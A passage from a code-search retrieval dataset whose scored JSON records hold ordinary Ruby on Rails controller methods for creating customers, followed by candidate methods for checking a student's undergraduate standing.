"text": "def new\n\t\t@customer = Customer.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @customer }\n\tend\n\n\t# POST /customers\n \t# POST /customers.json\n \tdef create\n \t\t@customer = Customer.new( customer_params )\n\n \t\trespond_to do |format|\n \t\t\tif @customer.save\n \t\t\t\tformat.html {redirect_to @customer, notice: 'Customer was successfully created.'}\n \t\t\t\tformat.json {render json: @customer, status: :created, location: @customer}\n \t\t\telse\n \t\t\t\tformat.html {render action: \"new\"}\n \t\t\t\tformat.json {render json: @customer.errors, status: :unprocessable_entity}\n \t\t\tend\n \t\tend\n \tend\n\n\tend",
"title": ""
},
{
"docid": "7b822eb62ee7e28d29752b480f1b0c46",
"score": "0.7450835",
"text": "def new\n @star_customer = Star::Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @star_customer }\n end\n end",
"title": ""
},
{
"docid": "b9192157305f77f8ce0d95fb9fc9f1f8",
"score": "0.742646",
"text": "def new\n @customer = Customer.new\n prepFormVariables(@customer)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"title": ""
},
{
"docid": "0fd899dc4c64aa2785d799f563cb484d",
"score": "0.74205285",
"text": "def new\n @customer_service = CustomerService.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_service }\n end\n end",
"title": ""
},
{
"docid": "83c1a96911c04b525a1a7b3f6e4b77d3",
"score": "0.74044865",
"text": "def new\n @customer = Customer.new\n # @cities = City.where(:status => 1).paginate(:page => params[:page], :per_page => 30)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"title": ""
},
{
"docid": "617b448f530b8226105d021f66adb0e7",
"score": "0.73686326",
"text": "def new\n @customer_company = Customer.new\n @customer_companies = Customer.find(:all, :conditions => \"customer_type_id = 1\") # 1=cliente empresa\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_company }\n end\n end",
"title": ""
},
{
"docid": "5a147657c274840a11faea2e25059a97",
"score": "0.7340565",
"text": "def new\n @customer = Customer.new\n @location = set_location\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"title": ""
},
{
"docid": "a6b9e703a1917ca22468bd93dba9d689",
"score": "0.7330194",
"text": "def customers_new\n data = ActiveSupport::JSON.decode(request.body.read)\n newcustomer = ShopifyAPI::Customer.find(data[\"id\"].to_s)\n unless Customer.find_by_email(data[\"email\"].to_s) || out_of_dates \n @customer = Customer.new\n @customer.orders_count = newcustomer.orders_count\n @customer.total_spent = newcustomer.total_spent\n @customer.city = newcustomer.default_address.city\n @customer.accepts_marketing = newcustomer.accepts_marketing\n @customer.customer_id = newcustomer.id\n @customer.store_id = @s.id\n @customer.save\n customer_points(1)\n end\n head :ok\n end",
"title": ""
},
{
"docid": "3cb96cc98110e5f5c8f92633c62756c5",
"score": "0.727719",
"text": "def new\n @oneyear_customer = OneyearCustomer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @oneyear_customer }\n end\n end",
"title": ""
},
{
"docid": "7193ef958a02458177303a5c904c0920",
"score": "0.7252359",
"text": "def new\n @customer = Customer.find(params[:customer_id]) if params[:customer_id]\n @service = @customer ? @customer.services.new : Service.new\n @service.build_customer unless @customer\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @service }\n end\n end",
"title": ""
},
{
"docid": "54f3f3eb726277a9a730bf730d0cc1e3",
"score": "0.7239842",
"text": "def new\n @customer_transaction = CustomerTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_transaction }\n end\n end",
"title": ""
},
{
"docid": "a0c4765293b42f053244bdbd848ef4e9",
"score": "0.7229284",
"text": "def new\n @customer = Customer.new\n respond_with(@customer)\n end",
"title": ""
},
{
"docid": "4f09b8ea3fad8bae2a5caad5b74e10cd",
"score": "0.71946084",
"text": "def new\n @customer_ledger = CustomerLedger.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_ledger }\n end\n end",
"title": ""
},
{
"docid": "4fcc7aed476bae4f4a5400e51e28bd72",
"score": "0.71491176",
"text": "def new\n @pagetitle = \"New customer\"\n \n @customer = Customer.new\n @customer[:taxable] = true\n @customer[:account] = \"C_#{generate_guid()}\"\n \n @company = Company.find(params[:company_id])\n @customer.company_id = @company.id\n \n if(params[:ajax])\n @ajax = true\n render :layout => false\n end\n end",
"title": ""
},
{
"docid": "0aeb73e655c8dce299ca3021a1d6fc18",
"score": "0.7145461",
"text": "def new\n @customer_user = Customer::User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_user }\n end\n end",
"title": ""
},
{
"docid": "5dd73785a0a16e06f4e8b417ae39dda7",
"score": "0.71452904",
"text": "def new\n totalcustomer = Customer.find(:all).size + 1\n customer_code = \"CSLC-\"+totalcustomer.to_s\n @customer = Customer.new\n @customer.customer_code = customer_code\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @customer }\n end\n end",
"title": ""
},
{
"docid": "484658effa9a45559553bffa137d316f",
"score": "0.7132241",
"text": "def new\n @customer_payment_account = @customer.customer_payment_accounts.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_payment_account }\n end\n end",
"title": ""
},
{
"docid": "6513fccb3106a8813dd11025f6d79a61",
"score": "0.71303236",
"text": "def new\n @ste_customer_history = SteCustomerHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ste_customer_history }\n end\n end",
"title": ""
},
{
"docid": "28e0e9ec4e64d41ef3ea6c1e044b63c1",
"score": "0.7128961",
"text": "def new\n @customer_cupcake = CustomerCupcake.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_cupcake }\n end\n end",
"title": ""
},
{
"docid": "c761d3c3b307cba1a9f3052d58421c0c",
"score": "0.71085167",
"text": "def create\r\n\r\n redirect_to(:action => :index) and return unless request.post?\r\n redirect_to(:action => :index) and return if params[:customer].blank? || !params[:customer].is_a?(Hash)\r\n @customer_attributes = params[:customer] ? params[:customer]['0'].clone : {}\r\n\r\n @customer = Customer.load_from_params(@customer_attributes)\r\n if @customer.errors.empty? && @customer.save\r\n flash[:notice] = _(\"%{page} was successfully created.\") % {:page => _(\"Customer\")}\r\n if request.xhr? # && params[:format] == 'json'\r\n render(:json => {:id => @customer.id}.merge(@customer.attributes).to_json)\r\n return\r\n end\r\n else\r\n if request.xhr? # && params[:format] == 'json'\r\n render(:json => ({:errors => @customer.errors.full_messages}.merge(@customer.attributes)).to_json)\r\n else\r\n render(:action => :new)\r\n end\r\n return\r\n end\r\n if params[:go_to].blank?\r\n redirect_to :action => (params[:commit_and_new] ? :new : :index)\r\n else\r\n redirect_to(params[:go_to])\r\n end\r\n end",
"title": ""
},
{
"docid": "3e3c698bf1929e86ce486278c1e297c0",
"score": "0.7102125",
"text": "def new\n @order = @customer.orders.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"title": ""
},
{
"docid": "3b79529bcb52c8c9e6836b5cbb68bca4",
"score": "0.7097741",
"text": "def new\n @customer_contact = CustomerContact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @customer_contact }\n end\n end",
"title": ""
},
{
"docid": "9cb727f29896c70ecfd88a08659ae69f",
"score": "0.7097603",
"text": "def new\n @twoyear_customer = TwoyearCustomer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @twoyear_customer }\n end\n end",
"title": ""
},
{
"docid": "a40b0d421975555e754b6d6128e7906b",
"score": "0.70848167",
"text": "def customer_new\n\t @customer = Customer.new\n\tend",
"title": ""
},
{
"docid": "8e03948a8a19962f9a5eae73f001684e",
"score": "0.70319206",
"text": "def new\n @customer_credit = CustomerCredit.new\n @customer_names = Customer.all(:order => 'last_name ASC')\n @products = Product.where(\"credits > 0\" )\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_credit }\n end\n end",
"title": ""
},
{
"docid": "8d1b5238187a525e953039f871c032f9",
"score": "0.70240605",
"text": "def create\n @customer = Customer.new(params[:customer])\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to new_customer_path, notice: 'Customer was successfully created.' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7156aa79e5735db85f200d32384804be",
"score": "0.7011007",
"text": "def new\n @customer = Customer.new\n end",
"title": ""
},
{
"docid": "7156aa79e5735db85f200d32384804be",
"score": "0.7011007",
"text": "def new\n @customer = Customer.new\n end",
"title": ""
},
{
"docid": "7156aa79e5735db85f200d32384804be",
"score": "0.7011007",
"text": "def new\n @customer = Customer.new\n end",
"title": ""
},
{
"docid": "063fff89f610bcfbbeb6962cd9a7861f",
"score": "0.7009786",
"text": "def new\n @customer_import = CustomerImport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @customer_import }\n end\n end",
"title": ""
},
{
"docid": "3d165fb556a55e28f2e1cafeaa447ddb",
"score": "0.70079535",
"text": "def new\n @customer_maintenance = CustomerMaintenance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_maintenance }\n end\n end",
"title": ""
},
{
"docid": "db699e1ec63cf798f72da3f3b86a789f",
"score": "0.7007183",
"text": "def new\n @customer_purchase = CustomerPurchase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_purchase }\n end\n end",
"title": ""
},
{
"docid": "238da214b7aaf17b49205491ac2f4e10",
"score": "0.700142",
"text": "def create\n @customer = @client.customers.create(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @customer }\n else\n format.html { render action: 'new' }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5e4fa78f72c12ea8b9ba5ae787d8b967",
"score": "0.69795454",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.js # index.html.erb\n format.html { redirect_to(customers_url) }\n format.xml { render :xml => @customer }\n end\n end",
"title": ""
},
{
"docid": "de4fd4da275469f4a5098001f20c0daa",
"score": "0.6979013",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @customer }\n end\n end",
"title": ""
},
{
"docid": "de4fd4da275469f4a5098001f20c0daa",
"score": "0.6979013",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @customer }\n end\n end",
"title": ""
},
{
"docid": "de4fd4da275469f4a5098001f20c0daa",
"score": "0.6979013",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @customer }\n end\n end",
"title": ""
},
{
"docid": "de4fd4da275469f4a5098001f20c0daa",
"score": "0.6979013",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @customer }\n end\n end",
"title": ""
},
{
"docid": "de4fd4da275469f4a5098001f20c0daa",
"score": "0.6979013",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @customer }\n end\n end",
"title": ""
},
{
"docid": "de4fd4da275469f4a5098001f20c0daa",
"score": "0.6979013",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @customer }\n end\n end",
"title": ""
},
{
"docid": "de4fd4da275469f4a5098001f20c0daa",
"score": "0.6979013",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @customer }\n end\n end",
"title": ""
},
{
"docid": "de4fd4da275469f4a5098001f20c0daa",
"score": "0.6979013",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @customer }\n end\n end",
"title": ""
},
{
"docid": "79f471e1d1ee9b83ff2ca8d20406e3dd",
"score": "0.6969667",
"text": "def new\n if request.get?\n @customer = @current_account.customers.build\n else\n @customer = @current_account.customers.build(params[:customer])\n @customer.build_address(params[:address])\n redirect_to :action => 'list' if @customer.save\n end\n end",
"title": ""
},
{
"docid": "514814bd18fc9136ee5ef607ed470c2c",
"score": "0.69677204",
"text": "def new\n @customer = Customer.new\n# run_custnumber\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @customer }\n format.json { render :json => @customer }\n end\n end",
"title": ""
},
{
"docid": "94a7e2b0313fcbe5666355d91d41adf8",
"score": "0.6961327",
"text": "def new\n @customer_import = CustomerImport.new(current_user)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_import }\n end\n end",
"title": ""
},
{
"docid": "bf366de94d2b141e55507a4cea15dbef",
"score": "0.69610405",
"text": "def new\r\n\r\n @customer_attributes = params[:customer] ? params[:customer]['0'].clone : {}\r\n\r\n @customer = Customer.load_from_params(@customer_attributes)\r\n\r\n render(:layout => !request.xhr?)\r\n end",
"title": ""
},
{
"docid": "85ac5d282ef830a75325945b449eeb85",
"score": "0.6959815",
"text": "def new\n @customer_note = CustomerNote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_note }\n end\n end",
"title": ""
},
{
"docid": "aba2dfbdc3028c592a34d5b8cb719100",
"score": "0.69484353",
"text": "def new\n @customer = Customer.new\n @drop_locations = DropLocation.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"title": ""
},
{
"docid": "0569a3c6b783c5e1066c0ab307b43e7b",
"score": "0.69402975",
"text": "def new\n @customer_price = CustomerPrice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_price }\n end\n end",
"title": ""
},
{
"docid": "70f124ff0fdaa6a148480ec7590f8961",
"score": "0.6929243",
"text": "def create\n @customer = Customer.new(params[:customer])\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to customers_path, notice: 'Customer was successfully created.' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "78d43b4f61554991b75cb4e4da0cb2fa",
"score": "0.69219565",
"text": "def new\n @finance_customer = FinanceCustomer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @finance_customer }\n end\n end",
"title": ""
},
{
"docid": "a3e92eaa18f75d3aa76bb6f794f00c9e",
"score": "0.69116694",
"text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to new_customer_path, notice: 'Customer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @customer }\n else\n format.html { render action: 'new' }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "80f2d36ca290a76c416621e07bc09b42",
"score": "0.69043875",
"text": "def new\n @title = t('view.clients.new_title')\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"title": ""
},
{
"docid": "e90b0570395db147f5c398c7cb5c0b81",
"score": "0.6899446",
"text": "def create\n @title = t('view.customers.new_title')\n @customer = Customer.new(\n params[:customer], {as: (current_user.try(:admin) ? :admin : :default)}\n )\n\n respond_to do |format|\n if @customer.save\n url = current_user ? customer_url(@customer) : new_customer_session_url\n notice = current_user ? t('view.customers.correctly_created') : t('view.customers.correctly_registered')\n \n format.html { redirect_to(url, notice: notice) }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: current_user ? 'new' : 'new_public' }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e3fdcb7aa22274fb550802a28b93f5ca",
"score": "0.68673354",
"text": "def new\n @customer = Customer.new\n @customer.tickets.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"title": ""
},
{
"docid": "d89d88dcb488b2acf0e3af27a9893512",
"score": "0.6864016",
"text": "def new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: ''}\n end\n end",
"title": ""
},
{
"docid": "c5a96c894597ead76456efda612e58ec",
"score": "0.6857856",
"text": "def new\n @tomato = Tomato.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tomato }\n end\n end",
"title": ""
},
{
"docid": "4369b61111e4a37f4afb8c0998918664",
"score": "0.68569124",
"text": "def new\n @accounts_receivable = @customer.accounts_receivable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @accounts_receivable }\n end\n end",
"title": ""
},
{
"docid": "b90344332fe79cb7689a47203f81d7a7",
"score": "0.6854555",
"text": "def new_customer\n @customer = Customer.new\n end",
"title": ""
},
{
"docid": "defeb3620b3e0517fcad2e85bc35055c",
"score": "0.68498087",
"text": "def create(info={})\n response = post(\"/customers.json\", :body => {:customer => info})\n return Customer.new(response['customer']) if response['customer']\n response\n end",
"title": ""
},
{
"docid": "2998d1112d0efddbe6d7226aa54585e1",
"score": "0.68334943",
"text": "def create\n @customer = Customer.new(params[:customer])\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2998d1112d0efddbe6d7226aa54585e1",
"score": "0.68334943",
"text": "def create\n @customer = Customer.new(params[:customer])\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2998d1112d0efddbe6d7226aa54585e1",
"score": "0.68334943",
"text": "def create\n @customer = Customer.new(params[:customer])\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2998d1112d0efddbe6d7226aa54585e1",
"score": "0.68334943",
"text": "def create\n @customer = Customer.new(params[:customer])\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2998d1112d0efddbe6d7226aa54585e1",
"score": "0.68334943",
"text": "def create\n @customer = Customer.new(params[:customer])\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e456d3b86d9d4719d9a76adc491b3ed1",
"score": "0.68305963",
"text": "def create\n @title = t('view.customers.new_title')\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n url = current_user ? customer_url(@customer) : new_customer_session_url\n notice = current_user ? t('view.customers.correctly_created') : t('view.customers.correctly_registered')\n\n format.html { redirect_to(url, notice: notice) }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n if @customer.errors && ([:password, :password_confirmation] - @customer.errors.keys).empty?\n report_validation_error(@customer)\n end\n format.html { render action: current_user ? 'new' : 'new_public' }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "be0ec3c5403d71489b2bcf8315c52266",
"score": "0.68261945",
"text": "def new\n @loan = @customer.loans.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan }\n end\n end",
"title": ""
},
{
"docid": "6491eb179748d5a4e8c58a36da8498cf",
"score": "0.6822335",
"text": "def new\n if (current_user.role == \"admin\" || current_user.role == \"support\")\n if params[:customer_id].present?\n add_breadcrumb 'Customers', 'customers_path'\n add_breadcrumb \"#{Customer.where(:id => params[:customer_id])[0].company_name}\", '#'\n add_breadcrumb \"Contacts\", 'customer_contacts_path(:customer_id => \"#{params[:customer_id]}\")'\n add_breadcrumb 'New Customer Contact', 'new_customer_contact_path'\n \n @customer_contact = CustomerContact.new\n @customer = current_user\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_contact }\n end\n else\n @customer_contact = CustomerContact.new\n @customer = current_user\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_contact }\n end\n end \n else\n redirect_to error_users_path and return\n end \n end",
"title": ""
},
{
"docid": "dd9d7853e11c14d74c33759a1b79ead4",
"score": "0.68066466",
"text": "def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"title": ""
},
{
"docid": "dd9d7853e11c14d74c33759a1b79ead4",
"score": "0.68066466",
"text": "def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"title": ""
},
{
"docid": "dd9d7853e11c14d74c33759a1b79ead4",
"score": "0.68066466",
"text": "def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"title": ""
},
{
"docid": "dd9d7853e11c14d74c33759a1b79ead4",
"score": "0.68066466",
"text": "def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"title": ""
},
{
"docid": "dd9d7853e11c14d74c33759a1b79ead4",
"score": "0.68066466",
"text": "def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"title": ""
},
{
"docid": "dd9d7853e11c14d74c33759a1b79ead4",
"score": "0.68066466",
"text": "def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"title": ""
},
{
"docid": "ab8fe78197e5d1bb78d09b554c64426d",
"score": "0.678825",
"text": "def new\n # build a 'temporary' post which is written to DB later (create-method)\n @customer = Customer.new\n end",
"title": ""
},
{
"docid": "0869c744e779fa81d515d2f5dff9e764",
"score": "0.6783389",
"text": "def create\n @customer = Customer.new(customer_params)\n\n if @customer.save\n render json: @customer, status: :created, location: @customer\n else\n render json: @customer.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "06670eba9a835289d2d4daeedd6a3b68",
"score": "0.67819417",
"text": "def new\n @customer = Customer.find(params[:customer_id])\n @shipping_address = ShippingAddress.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shipping_address }\n end\n end",
"title": ""
},
{
"docid": "3d361ae2013e8c327a6932f18ed8e3b7",
"score": "0.67735076",
"text": "def new\n @company = Company.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"title": ""
}
] |
1543406d005d26ee6f7ce001718c38ba | Returns true if this student is an undergraduate at the University. A student is considered undergraduate if their +class_standing+ is <= 5. | [
{
"docid": "5de216e3b018eab8e0e7e65f712281b9",
"score": "0.7119379",
"text": "def undergrad?\n sdb.class_standing <= 5\n end",
"title": ""
}
] | [
{
"docid": "df996eaf4595e365dc4f4c0db5f81ac5",
"score": "0.60206723",
"text": "def student_only?(sfuid)\n result = roles sfuid\n if result.join(\"\").eql? \"undergrad\"\n return true\n end\n false\n end",
"title": ""
},
{
"docid": "fc2a5d19659ff77f52ab13834377a88f",
"score": "0.59524864",
"text": "def junior?\n grade <=6\n end",
"title": ""
},
{
"docid": "399722a69544c0ed5e00fdc558a9da16",
"score": "0.5817198",
"text": "def undergrad_during_quarter?(quarter = Quarter.current_quarter, valid_class_codes = [1,2,3,4,5])\n raise Exception.new(\"quarter cannot be nil\") if quarter.nil?\n valid_class_codes.include? class_standing(quarter)\n end",
"title": ""
},
{
"docid": "35697e4201acc630a8928de42593a0c4",
"score": "0.5713111",
"text": "def has_honors #its gonna return true or false depdening if the object/student has honors\n if @gpa >= 3.5\n return true \n end \n return false \n end",
"title": ""
},
{
"docid": "05791305aef9536b30b16a5e9a7832ef",
"score": "0.5710835",
"text": "def over_the_hill?\n return false if @age < 40\n true\n end",
"title": ""
},
{
"docid": "2b66219f749e3e9c59f3af67fbeeffa4",
"score": "0.56450903",
"text": "def tenure\n self.years_of_experience > 5\n end",
"title": ""
},
{
"docid": "0d17288bba49ddedf8b2eadae645cf6e",
"score": "0.5534913",
"text": "def tenure\n self.years_of_experience > 5 ? true : false\n end",
"title": ""
},
{
"docid": "442bd4ec49197236d04e70b81fd2ba3d",
"score": "0.5532615",
"text": "def over_capacity\n if @students.count >= @capacity\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "3d53e8ff7eb79199b49e085e7541027d",
"score": "0.54982513",
"text": "def hurt?\n\t\t@warrior.health < 20\n\tend",
"title": ""
},
{
"docid": "c09c1b8af93f4bbbdeec22181ec17b49",
"score": "0.547715",
"text": "def standing?\n\t\treturn @standing\n\tend",
"title": ""
},
{
"docid": "e797480b1207581ede84d7216f967261",
"score": "0.5456803",
"text": "def good?\n score <= Constants::THRESHOLDS[@class_type]\n end",
"title": ""
},
{
"docid": "124209596148bb71666ebdc6d02d5da3",
"score": "0.5455694",
"text": "def eligible?\n\t\tyear = DateTime.now.year\n\t\tself.graduation_year >= year && self.graduation_year <= year + 3\n\tend",
"title": ""
},
{
"docid": "2ba8f1a243689b9a07c0453105d90bb3",
"score": "0.54259604",
"text": "def graduation_required?\n applicant_type == 'grad_student' || applicant_type == 'undergrad_student' ||\n applicant_type == 'school_student'\n end",
"title": ""
},
{
"docid": "eb8c03df5aff6f86c7074602d21440ab",
"score": "0.53609014",
"text": "def junior?\n\t\tgrade == 11\n\tend",
"title": ""
},
{
"docid": "3b354baff7af7f6a49c4acc43326bcfd",
"score": "0.5346493",
"text": "def has_honors\n if @gpa >= 3.5\n return true\n end\n return false\n end",
"title": ""
},
{
"docid": "a00b3c866bb8563b852c12d9e3123ed7",
"score": "0.53175664",
"text": "def has_overhead_last_5_years\n if current_user.lawfirm.overheads\n ovh = current_user.lawfirm.overheads.collect(&:year)\n if ovh.include?(Date.today.year) and ovh.include?(Date.today.year - 1) and ovh.include?(Date.today.year - 2) and ovh.include?(Date.today.year - 3) and ovh.include?(Date.today.year - 4)\n return true\n else\n redirect_to user_lawfirm_overheads_path(current_user, current_user.lawfirm_id),\n :flash => {:danger => \"You must calculate overhead for each of the past 5 years to view this page.\"}\n end\n else\n redirect_to user_lawfirm_overheads_path(current_user, current_user.lawfirm_id),\n :flash => {:danger => \"You must calculate overhead for each of the past 5 years to view this page.\"}\n end\n end",
"title": ""
},
{
"docid": "c6dc4c65100e8a1bf04e4d9783c9f466",
"score": "0.5295662",
"text": "def senior?\n\t\tgrade == 12\n\tend",
"title": ""
},
{
"docid": "67b0d366a9100789a4d5beb8c347f3f3",
"score": "0.527747",
"text": "def hungry?\n return (@hunger > @max_health/2)\n end",
"title": ""
},
{
"docid": "cc4e3b251b0b904ca15622b0cd9a4b8d",
"score": "0.5263169",
"text": "def patient_is_under_five?\n person = Person.find_by(person_id: @patient.patient_id)\n ((Time.zone.now - person.birthdate.to_time) / 1.year.seconds).floor < UNDER_FIVE_AGE_LIMIT\n end",
"title": ""
},
{
"docid": "d65984ced897b92bf5481f639d2799d8",
"score": "0.5243372",
"text": "def under_attack \n return true if warrior.health < @health\n return false\n end",
"title": ""
},
{
"docid": "e494b9cf410a9c5c892e0c85d4042447",
"score": "0.5225841",
"text": "def student?\n return self.eduPersonAffiliation==\"student\"\n end",
"title": ""
},
{
"docid": "d5621128c66151fe45a4487ef98cf9ef",
"score": "0.52236396",
"text": "def matches?(weeks_since_injury)\n\t\t\t\tweeks_since_injury >= (start_week - 1).to_f && # it's after the prior week, i.e. when injured, you are immediately in the first \n\t\t\t\t # week of injury\n\t\t\t\t(\n\t\t\t\t\tend_week.nil? ||\n\t\t\t\t\tweeks_since_injury < end_week.to_f # it's before the end_week number - i.e. exactly 1 week after an injury,\n\t\t\t\t \t\t\t # you are now into the second week of injury\n\t\t\t\t)\t\t\t\t \n\t\t\tend",
"title": ""
},
{
"docid": "aa3897ee008fa59444a297f4673e521b",
"score": "0.51455736",
"text": "def on_over_trial_days?\n result = false\n if self.last_grade and self.grades.length >= self.trial_days_total\n result = true\n end\n return result\n end",
"title": ""
},
{
"docid": "4b24ab869f37c398c01ffe4b44cd8685",
"score": "0.5145333",
"text": "def student_spaces?\n return host.seats > attending_students.length if has_host?\n false\n end",
"title": ""
},
{
"docid": "79a3c37105ad40a8bca41079b2da4aac",
"score": "0.51354617",
"text": "def senior?\n Date.civil(Date.today().year, 8, 1).years_ago(65) > self.naissance \n end",
"title": ""
},
{
"docid": "2752383d395935eeebd925910b2ae8ca",
"score": "0.51353276",
"text": "def class_how_full?\n return [self.students.count, self.class_max]\n end",
"title": ""
},
{
"docid": "bd6a0a12b379cc80d962aa011d6111fb",
"score": "0.51333743",
"text": "def education_selection_status\n percent = 0\n step = 25\n percent += step unless university.nil?\n percent += step unless faculty.nil?\n percent += step if main_course_scenario.programs.size > 0\n percent += step if completed_courses.size > 0 or main_course_scenario.taking_courses.size > 0\n percent\n end",
"title": ""
},
{
"docid": "8d2de77d08f5aed9431031d813aa70e3",
"score": "0.5127648",
"text": "def strong?\n\t\tif @health > 100\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"title": ""
},
{
